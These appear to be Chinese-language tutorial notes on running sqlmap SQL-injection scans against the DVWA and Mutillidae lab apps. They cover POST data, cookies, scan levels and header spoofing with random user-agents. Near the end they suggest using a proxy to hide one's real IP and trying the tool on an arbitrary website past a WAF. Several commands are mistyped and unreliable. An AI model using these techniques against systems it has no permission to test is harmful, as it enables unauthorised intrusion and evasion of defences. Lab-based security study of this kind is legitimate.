資料段: –data
get/post都适用
sqlmap -u “http://1.1.1.1/a.php” –data=”user=1&pass=2” -f
變量分隔符:–param-del
http://1.1.1.1/a.php?q=foo;id=1 // ; &
sqlmap -u “http://1.1.1.1/a.php” –data=”q=foo:id=1” –param-del=”;” -f
cookie頭: –cookie
web應用需要基于cookie的身份認證
檢查cookie中的注入點(sqlmap自動測試)
登入密碼錯誤,302重定向之前的頁面;
下面再看一下post的送出方法;
root@R:~# sqlmap -u "http://192.168.1.121mutillidae/index.php" --date="page=user-info.php&username=1&password=1&user-info-php-submit-butto=View+Account+Details" --users
問号去掉,–data=”參數”
因為DVWA是登陸後才能進行sql注入,是以這個時候就應該為sqlmap加上cookie,保證sqlmap登陸到DVWA的頁面,才能模拟滲透;
level 1不會自動掃描cookie的漏洞;至少大于等于2;
我們需要在代碼中加入–level 2這個指令;
http頭;
–user-agent(預設hsi)
sqlmap/1.0-dev-xxxxxx(http://sqlmap.org)
–random-agent(随機使用一個user-agent)
/user/share/sqlmap/txt/user-agents.txt
sqlmap檢查user-agent中的注入點:Leve>=3
APP/WAF/IPS/IDS過濾異常user-agent時報錯
[hh:mm:20][ERROR] the target URL responded with an unknow HTTP
Status code,try to force the HTTP User-Agent header with option –user-
agent or –random-agent
我們抓包看一下,還是上次的指令;為了清晰一點,我們先設定一下抓包的IP位址;
我們随便找一個看一下;右鍵,追蹤流,TCP流;
如果對方做一個過濾規則,把sqlmap的user-agent删除掉,是以就會導緻注入查找不成功;這個時候我們可以使用random,看下檔案内容:
tcp.stream eq 1會話流1
tcp.stream eq 2會話流2
我們也可以自己指定一個user-agent;
[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" --host="aaaaaaaaaaaaaaaaaa" -f
檢測host頭必須是level=5;不過這裡一般很少有漏洞資訊;
[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" ----referer="aaaaaaaaaaaaaaaaaa" --level -f
[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" ----headers="Host:www.abc.com\nUser-Agent:bbbbbb\n" -f
指定get方法,也可以post;最好指定,有的網站會過濾這個地方;
最好使用代理伺服器,防止對真實IP封堵;
找個網站,試一下;
有可能被waf保護